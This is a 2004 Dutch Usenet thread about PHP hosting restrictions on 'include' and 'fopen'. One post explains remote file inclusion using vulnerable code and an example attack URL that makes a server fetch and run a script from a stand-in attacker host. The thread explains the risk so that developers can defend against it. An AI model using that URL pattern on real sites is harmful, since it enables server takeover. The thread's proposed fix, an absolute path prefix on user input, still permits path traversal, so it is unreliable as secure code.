Re: Alternatieven voor 'include' en '$bestand=join("", file("tekst.txt"));'

[Michiel de Roo]

Eduard Bekker wrote:
>>Dit had inderdaad te maken met de include, het komt nogal eens voor dat
>>iemand een bestandje van buitenaf probeert te publiseren via een site op de
>>server en vervolgens een hack uitvoerd.

Dit lijkt te wijzen op het stopzetten van 'remote fopen', wat inderdaad
nogal eens tot beveiligingslekken kan leiden. Vooral in dit specifieke
geval dat nogal eens voorkomt:

<?
fopen($_GET["page"]);
?>

Een hacker kan door middel van de url

http://yoursite.invalid/index.php?page=http://hackersite.invalid/hack.php

dan zijn eigen php scriptje laten uitvoeren op de server. Dit scriptje kan
vervolgens van alles doen, zoals bijvoorbeeld een eigen telnet daemon
uploaden en starten.

Michiel.

[Michiel de Roo]

Eduard Bekker wrote:
> On 15-12-2004 13:56, in article 41c03484$0$25965$e4fe514c@news.xs4all.nl,
> "Michiel de Roo" <yourlove@welovespam.nl> wrote:
>
>
>>Eduard Bekker wrote:
>>
>>>>Dit had inderdaad te maken met de include, het komt nogal eens voor dat
>>>>iemand een bestandje van buitenaf probeert te publiseren via een site op de
>>>>server en vervolgens een hack uitvoerd.
>>
>>Dit lijkt te wijzen op het stopzetten van 'remote fopen', wat inderdaad
>>nogal eens tot beveiligingslekken kan leiden. Vooral in dit specifieke
>>geval dat nogal eens voorkomt:
>>
>><?
>>fopen($_GET["page"]);
>>?>

Ik moet mezelf corrigeren, ik bedoelde niet fopen maar include. Het
verschil is dat met include de opgehaalde string wordt geparsed door de
(lokale) php parser, eventuele code die in de string staat wordt dan
uitgevoerd. Met fopen gebeurt dit niet. Het maffe is dat include wél onder
de allow_url_fopen instelling valt, alhoewel de naam ervan anders zou doen
vermoeden.

>>
>>Een hacker kan door middel van de url
>>
>>http://yoursite.invalid/index.php?page=http://hackersite.invalid/hack.php
>>
>>dan zijn eigen php scriptje laten uitvoeren op de server. Dit scriptje kan
>>vervolgens van alles doen, zoals bijvoorbeeld een eigen telnet daemon
>>uploaden en starten.
>
>
> In mijn gastenboeken merk ik geloof ik wel eens van dergelijke pogingen
> (lege datavelden).
>
> Fopen gebruik ik natuurlijk regelmatig bij online-editors, maar de bestanden
> die daar worden weggeschreven zijn .txt-bestanden.
>
> Maar hoe is fopen dan te omzeilen?

Je kunt het probleem omzeilen door te zorgen dat een geopende file nooit
op een andere server kan staan. Bijvoorbeeld door door het pad absoluut te
maken:

<?
include('/home/users/blabla/' . $_GET['page']);
?>

Ook kun je de url fopen uitzetten:
http://nl.php.net/manual/en/ref.filesystem.php#ini.allow-url-fopen

[Michiel de Roo]

Eduard Bekker wrote:
> On 16-12-2004 01:09, in article
> 41c0d24e$0$40688$e4fe514c@dreader3.news.xs4all.nl, "Daniel Tryba"
> <spam@tryba.invalid> wrote:
>
>
>>Eduard Bekker <e.bekker@layout.nl> wrote:
>>
>>>>Ik kan hieruit niet opmaken dat er gerommeld gaat worden met safe_mode
>>>>(wellicht dat ze daarmee zouden moeten beginnen) of include/enz.
>>>
>>>Mijn vraag was dus:
>>>
>>>>Hierbij - heeft hij laten weten - zit ook 'include' en '$bestand=join("",
>>>>file("tekst.txt"));' Dit zijn routines die ik onmogelijk kan missen.

Wie niet ?

>>>>
>>>>Zou er geen alternatief zijn, dan kan ik mijn toko eigenlijk wel sluiten.

Nee, helaas er is geen alternatief voor include en fopen. Waarom zou dat
er ook moeten zijn ? Je moet die functies gewoon niet blokkeren.

>>
>>Waaruit maak je nu eigenlijk op dat include/file/enz. niet meer gaan
>>werken?

Het lijkt mij ook nogal rigoreus. Bedoel hij echt niet iets anders ?

>>
>>De oplossing is uitermate makkelijk: verhuizen.
>
>
> De verhouding met mijn provider is verder uitstekend.

Als je provider dit soort grappen uithaalt zou dat bij mij niet lang meer
duren.

> Bovendien: wie garandeert me dat niet bij een volgende provider dezelfde
> problemen ontstaan?

Die kans is klein, ik ben nooit een provider tegengekomen die de hele
include functie heeft uitgezet. Zelfs het blokkeren van remote fopen is
vrij ongebruikelijk.

>
> En: niet ik ben de eigenaar van de domeinen waarvan ik de content manage,
> maar de opdrachtgevers. Kortom: het zou een hele klus worden.

Als het niet meer werkt zijn je klanten waarschijnlijk wel te porren voor
een verhuizing. Of andersom, als je provider al die klanten ziet
weglopen, laat hij die wijzigingen wellicht achterwege.